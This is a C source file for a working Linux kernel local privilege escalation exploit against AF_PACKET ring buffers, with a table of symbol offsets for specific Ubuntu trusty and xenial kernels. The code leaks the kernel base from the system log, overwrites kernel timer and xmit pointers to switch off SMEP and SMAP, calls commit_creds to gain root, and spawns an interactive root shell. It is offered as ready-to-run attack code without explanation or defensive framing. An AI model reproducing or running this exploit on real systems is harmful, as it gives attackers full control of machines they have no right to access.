#define _GNU_SOURCE

// added for recognizing kernel version
#include <sys/utsname.h>
#include <assert.h>


#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>

#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <netinet/if_ether.h>
#include <net/if.h>

#define ENABLE_KASLR_BYPASS 1
#define ENABLE_SMEP_SMAP_BYPASS 1

// Will be overwritten if ENABLE_KASLR_BYPASS
unsigned long KERNEL_BASE =   0xffffffff81000000ul;


// commented for porting to other kernel versions

// Kernel symbol offsets
// #define NATIVE_WRITE_CR4    0x64210ul
// #define COMMIT_CREDS        0xa5cf0ul
// #define PREPARE_KERNEL_CRED 0xa60e0ul

int kernel = 0;

struct kernel_offset {                              //      Struct for kernel offset array.
  const char* distro;                               //        ubuntu distro
  const char* version;                              //        kernel version
  uint32_t COMMIT_CREDS;                            //        commit_creds
  uint32_t PREPARE_KERNEL_CRED;                     //        prepare_kernel_cred
  uint32_t NATIVE_WRITE_CR4;                        //        native_write_cr4
};

struct kernel_offset kernels[] = {
  // distro,  version,                COMMIT_CREDS,    PREPARE_KERNEL_CRED, NATIVE_WRITE_CR4 =
  { "trusty", "4.4.0-31-generic",     0x9d760ul,       0x9da40ul,           0x612f0ul }, // --.  Theoretically
  { "trusty", "4.4.0-75-generic",     0x9eb60ul,       0x9ee40ul,           0x62330ul }, //   |   these should
  { "trusty", "4.4.0-79-generic",     0x9ebb0ul,       0x9ee90ul,           0x62330ul }, //    >  work, but we
  { "trusty", "4.4.0-81-generic",     0x9ebb0ul,       0x9ee90ul,           0x62330ul }, //   |   had no more
  { "trusty", "4.4.0-83-generic",     0x9ebc0ul,       0x9eea0ul,           0x62360ul }, // --`   time to test
  // distro,  version,                COMMIT_CREDS,    PREPARE_KERNEL_CRED, NATIVE_WRITE_CR4
  { "xenial", "4.8.0-34-generic",     0xa5d50ul,       0xa6140ul,           0x64210ul }, // --.
  { "xenial", "4.8.0-36-generic",     0xa5d50ul,       0xa6140ul,           0x64210ul }, //   |
  { "xenial", "4.8.0-39-generic",     0xa5cf0ul,       0xa60e0ul,           0x64210ul }, //    > These work :)
  { "xenial", "4.8.0-41-generic",     0xa5cf0ul,       0xa60e0ul,           0x64210ul }, //   |
  { "xenial", "4.8.0-42-generic",     0xa5cf0ul,       0xa60e0ul,           0x64210ul }, //   |
  { "xenial", "4.8.0-44-generic",     0xa5cf0ul,       0xa60e0ul,           0x64210ul }, //   |
  { "xenial", "4.8.0-45-generic",     0xa5cf0ul,       0xa60e0ul,           0x64210ul }, // --`
//{ "xenial", "4.8.0-46-generic",     0xa5cf0ul,       0xa60e0ul,           0x64210ul }, // --.
//{ "xenial", "4.8.0-49-generic",     0xa5d00ul,       0xa60f0ul,           0x64210ul }, //   |
//{ "xenial", "4.8.0-52-generic",     0xa5d00ul,       0xa60f0ul,           0x64210ul }, //    > Not tested :o
//{ "xenial", "4.8.0-54-generic",     0xa5d00ul,       0xa60f0ul,           0x64210ul }, //   |
//{ "xenial", "4.8.0-56-generic",     0xa5d00ul,       0xa60f0ul,           0x64210ul }, //   |
//{ "xenial", "4.8.0-58-generic",     0xa5d20ul,       0xa6110ul,           0x64210ul }, // --`
};

#define KERNEL_VERSION_LENGTH 32

#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))

// Should have SMEP and SMAP bits disabled
#define CR4_DESIRED_VALUE 0x407f0ul

#define KMALLOC_PAD   512
#define PAGEALLOC_PAD   1024

// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *

typedef uint32_t u32;

// $ pahole -C hlist_node ./vmlinux
struct hlist_node {
  struct hlist_node *        next;                 /*     0     8 */
  struct hlist_node * *      pprev;                /*     8     8 */
};

// $ pahole -C timer_list ./vmlinux
struct timer_list {
  struct hlist_node          entry;                /*     0    16 */
  long unsigned int          expires;              /*    16     8 */
  void                       (*function)(long unsigned int); /*    24     8 */
  long unsigned int          data;                 /*    32     8 */
  u32                        flags;                /*    40     4 */
  int                        start_pid;            /*    44     4 */
  void *                     start_site;           /*    48     8 */
  char                       start_comm[16];       /*    56    16 */
};

// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
#define TIMER_OFFSET  896

// pakcet_sock->xmit
#define XMIT_OFFSET 1304

// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *

void packet_socket_rx_ring_init(int s, unsigned int block_size,
  unsigned int frame_size, unsigned int block_nr,
  unsigned int sizeof_priv, unsigned int timeout) {
  int v = TPACKET_V3;
  int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
  if (rv < 0) {
    perror("[-] setsockopt(PACKET_VERSION)");
    exit(EXIT_FAILURE);
  }

  struct tpacket_req3 req;
  memset(&req, 0, sizeof(req));
  req.tp_block_size = block_size;
  req.tp_frame_size = frame_size;
  req.tp_block_nr = block_nr;
  req.tp_frame_nr = (block_size * block_nr) / frame_size;
  req.tp_retire_blk_tov = timeout;
  req.tp_sizeof_priv = sizeof_priv;
  req.tp_feature_req_word = 0;

  rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
  if (rv < 0) {
    perror("[-] setsockopt(PACKET_RX_RING)");
    exit(EXIT_FAILURE);
  }
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
  unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
  int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
  if (s < 0) {
    perror("[-] socket(AF_PACKET)");
    exit(EXIT_FAILURE);
  }

  packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
    sizeof_priv, timeout);

  struct sockaddr_ll sa;
  memset(&sa, 0, sizeof(sa));
  sa.sll_family = PF_PACKET;
  sa.sll_protocol = htons(ETH_P_ALL);
  sa.sll_ifindex = if_nametoindex("lo");
  sa.sll_hatype = 0;
  sa.sll_pkttype = 0;
  sa.sll_halen = 0;

  int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
  if (rv < 0) {
    perror("[-] bind(AF_PACKET)");
    exit(EXIT_FAILURE);
  }

  return s;
}

void packet_socket_send(int s, char *buffer, int size) {
  struct sockaddr_ll sa;
  memset(&sa, 0, sizeof(sa));
  sa.sll_ifindex = if_nametoindex("lo");
  sa.sll_halen = ETH_ALEN;

  if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
      sizeof(sa)) < 0) {
    perror("[-] sendto(SOCK_RAW)");
    exit(EXIT_FAILURE);
  }
}

void loopback_send(char *buffer, int size) {
  int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
  if (s == -1) {
    perror("[-] socket(SOCK_RAW)");
    exit(EXIT_FAILURE);
  }

  packet_socket_send(s, buffer, size);
}

int packet_sock_kmalloc() {
  int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
  if (s == -1) {
    perror("[-] socket(SOCK_DGRAM)");
    exit(EXIT_FAILURE);
  }
  return s;
}

void packet_sock_timer_schedule(int s, int timeout) {
  packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
}

void packet_sock_id_match_trigger(int s) {
  char buffer[16];
  packet_socket_send(s, &buffer[0], sizeof(buffer));
}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

#define ALIGN(x, a)     __ALIGN_KERNEL((x), (a))
#define __ALIGN_KERNEL(x, a)    __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define __ALIGN_KERNEL_MASK(x, mask)  (((x) + (mask)) & ~(mask))

#define V3_ALIGNMENT  (8)
#define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))

#define ETH_HDR_LEN sizeof(struct ethhdr)
#define IP_HDR_LEN  sizeof(struct iphdr)
#define UDP_HDR_LEN sizeof(struct udphdr)

#define UDP_HDR_LEN_FULL  (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)

int oob_setup(int offset) {
  unsigned int maclen = ETH_HDR_LEN;
  unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
        (maclen < 16 ? 16 : maclen));
  unsigned int macoff = netoff - maclen;
  unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
    0x8000 - BLK_HDR_LEN - macoff + offset;
  return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}

void oob_write(char *buffer, int size) {
  loopback_send(buffer, size);
}

void oob_timer_execute(void *func, unsigned long arg) {
  oob_setup(2048 + TIMER_OFFSET - 8);

  int i;
  for (i = 0; i < 32; i++) {
    int timer = packet_sock_kmalloc();
    packet_sock_timer_schedule(timer, 1000);
  }

  char buffer[2048];
  memset(&buffer[0], 0, sizeof(buffer));

  struct timer_list *timer = (struct timer_list *)&buffer[8];
  timer->function = func;
  timer->data = arg;
  timer->flags = 1;

  oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);

  sleep(1);
}

void oob_id_match_execute(void *func) {
  int s = oob_setup(2048 + XMIT_OFFSET - 64);

  int ps[32];

  int i;
  for (i = 0; i < 32; i++)
    ps[i] = packet_sock_kmalloc();

  char buffer[2048];
  memset(&buffer[0], 0, 2048);

  void **xmit = (void **)&buffer[64];
  *xmit = func;

  oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);

  for (i = 0; i < 32; i++)
    packet_sock_id_match_trigger(ps[i]);
}

// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *

void kmalloc_pad(int count) {
  int i;
  for (i = 0; i < count; i++)
    packet_sock_kmalloc();
}

void pagealloc_pad(int count) {
  packet_socket_setup(0x8000, 2048, count, 0, 100);
}

// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *

typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);


// Modified to port to other kernel versions
void get_root_payload(void) {
  ((_commit_creds)(KERNEL_BASE + kernels[kernel].COMMIT_CREDS))(
    ((_prepare_kernel_cred)(KERNEL_BASE + kernels[kernel].PREPARE_KERNEL_CRED))(0)
  );
}






// Modified to port to other kernel versions

#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10


//     Common code between trusty and xenial
void mmap_syslog(char** buffer, int* size) {
    *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
    if (*size == -1) {
        perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
        exit(EXIT_FAILURE);
    }

    *size = (*size / getpagesize() + 1) * getpagesize();
    *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
    if (*size == -1) {
        perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
        exit(EXIT_FAILURE);
    }
}

// Specifically for trusty
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
    printf("[.] trusty detected, using get_kernel_addr_trusty()\n");
    const char* needle1 = "Freeing unused";
    char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
    if (substr == NULL) {
        fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle1);
        exit(EXIT_FAILURE);
    }
    int start = 0;
    int end = 0;
    for (end = start; substr[end] != '-'; end++);

    const char* needle2 = "ffffff";
    substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
    if (substr == NULL) {
        fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle2);
        exit(EXIT_FAILURE);
    }

    char* endptr = &substr[16];
    unsigned long r = strtoul(&substr[0], &endptr, 16);

    r &= 0xffffffffff000000ul;

    return r;
}


// Specifically for xenial
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
    printf("[.] xenial detected, using get_kernel_addr_xenial()\n");
    const char* needle1 = "Freeing unused";
    char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
    if (substr == NULL) {
        fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle1);
        exit(EXIT_FAILURE);
    }

    int start = 0;
    int end = 0;
    for (start = 0; substr[start] != '-'; start++);
    for (end = start; substr[end] != '\n'; end++);

    const char* needle2 = "ffffff";
    substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
    if (substr == NULL) {
        fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle2);
        exit(EXIT_FAILURE);
    }

    char* endptr = &substr[16];
    unsigned long r = strtoul(&substr[0], &endptr, 16);

    r &= 0xfffffffffff00000ul;
    r -= 0x1000000ul;

    return r;
}


//  Distro checker
unsigned long get_kernel_addr() {
    char* syslog;
    int size;
    mmap_syslog(&syslog, &size);

    if (strcmp("trusty", kernels[kernel].distro) == 0 &&
        strncmp("4.4.0", kernels[kernel].version, 5) == 0)
        return get_kernel_addr_trusty(syslog, size);
    if (strcmp("xenial", kernels[kernel].distro) == 0 &&
        strncmp("4.8.0", kernels[kernel].version, 5) == 0)
        return get_kernel_addr_xenial(syslog, size);

    printf("[-] distro not supported\n");
    exit(EXIT_FAILURE);
}













// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

void exec_shell() {
  char *shell = "/bin/bash";
  char *args[] = {shell, "-i", NULL};
  execve(shell, args, NULL);
}

void fork_shell() {
  pid_t rv;

  rv = fork();
  if (rv == -1) {
    perror("[-] fork()");
    exit(EXIT_FAILURE);
  }

  if (rv == 0) {
    exec_shell();
  }
}

bool is_root() {
  // We can't simple check uid, since we're running inside a namespace
  // with uid set to 0. Try opening /etc/shadow instead.
  int fd = open("/etc/shadow", O_RDONLY);
  if (fd == -1)
    return false;
  close(fd);
  return true;
}

void check_root() {
  printf("[.] checking if we got root\n");

  if (!is_root()) {
    printf("[-] something went wrong =(\n");
    exit(0);
    return;
  }

  printf("[+] got r00t ^_^\n");

  // Fork and exec instead of just doing the exec to avoid potential
  // memory corruptions when closing packet sockets.
  fork_shell();
}

bool write_file(const char* file, const char* what, ...) {
  char buf[1024];
  va_list args;
  va_start(args, what);
  vsnprintf(buf, sizeof(buf), what, args);
  va_end(args);
  buf[sizeof(buf) - 1] = 0;
  int len = strlen(buf);

  int fd = open(file, O_WRONLY | O_CLOEXEC);
  if (fd == -1)
    return false;
  if (write(fd, buf, len) != len) {
    close(fd);
    return false;
  }
  close(fd);
  return true;
}

void setup_sandbox() {
  int real_uid = getuid();
  int real_gid = getgid();

  if (unshare(CLONE_NEWUSER) != 0) {
    perror("[-] unshare(CLONE_NEWUSER)");
    exit(EXIT_FAILURE);
  }

  if (unshare(CLONE_NEWNET) != 0) {
    perror("[-] unshare(CLONE_NEWUSER)");
    exit(EXIT_FAILURE);
  }

  if (!write_file("/proc/self/setgroups", "deny")) {
    perror("[-] write_file(/proc/self/set_groups)");
    exit(EXIT_FAILURE);
  }
  if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
    perror("[-] write_file(/proc/self/uid_map)");
    exit(EXIT_FAILURE);
  }
  if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
    perror("[-] write_file(/proc/self/gid_map)");
    exit(EXIT_FAILURE);
  }

  cpu_set_t my_set;
  CPU_ZERO(&my_set);
  CPU_SET(0, &my_set);
  if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
    perror("[-] sched_setaffinity()");
    exit(EXIT_FAILURE);
  }

  if (system("/sbin/ifconfig lo up") != 0) {
    perror("[-] system(/sbin/ifconfig lo up)");
    exit(EXIT_FAILURE);
  }
}

int main(int argc, char** argv) {


  // check distro version + kernel version
  struct utsname u;
  if (argc > 1) {

    printf("[.] kernel version specified: %s\n", argv[1]);
    strcpy(u.release, argv[1]);
  } else {
    printf("[.] no kernel version specified... detecting\n");
    int rv = uname(&u);
    if (rv != 0) {
      perror("[-] uname())");
      exit(EXIT_FAILURE);
    }
    assert(strlen(u.release) <= KERNEL_VERSION_LENGTH);
  }


  //  Check if current kernel version has a known function address offset
  int found = 0;
  int i = 0;
  for (i = 0; i < ARRAY_SIZE(kernels); i++) {
    if (strcmp(u.release, kernels[i].version) == 0) {
      printf("[.] kernel version '%s' is supported\n", kernels[i].version);
      kernel = i;
      found = 1;
    }
  }
  if (!found) {
    printf("[-] kernel version '%s' is not supported\n", u.release);
    exit(EXIT_FAILURE);
  }


  printf("[.] starting\n");

  setup_sandbox();

  printf("[.] namespace sandbox set up\n");

#if ENABLE_KASLR_BYPASS
  printf("[.] KASLR bypass enabled, getting kernel addr\n");
  KERNEL_BASE = get_kernel_addr();
  printf("[.] done, kernel base:   %lx\n", KERNEL_BASE);
#endif



  printf("[.] commit_creds:        %lx\n", KERNEL_BASE + kernels[kernel].COMMIT_CREDS);
  printf("[.] prepare_kernel_cred: %lx\n", KERNEL_BASE + kernels[kernel].PREPARE_KERNEL_CRED);

#if ENABLE_SMEP_SMAP_BYPASS
  printf("[.] native_write_cr4:    %lx\n", KERNEL_BASE + kernels[kernel].NATIVE_WRITE_CR4);
#endif

  printf("[.] padding heap\n");
  kmalloc_pad(KMALLOC_PAD);
  pagealloc_pad(PAGEALLOC_PAD);
  printf("[.] done, heap is padded\n");



#if ENABLE_SMEP_SMAP_BYPASS
  printf("[.] SMEP & SMAP bypass enabled, turning them off\n");
  oob_timer_execute((void *)(KERNEL_BASE + kernels[kernel].NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
  printf("[.] done, SMEP & SMAP should be off now\n");
#endif

  printf("[.] executing get root payload %p\n", &get_root_payload);
  oob_id_match_execute((void *)&get_root_payload);
  printf("[.] done, should be root now\n");

  check_root();

  while (1) sleep(1000);

  return 0;
}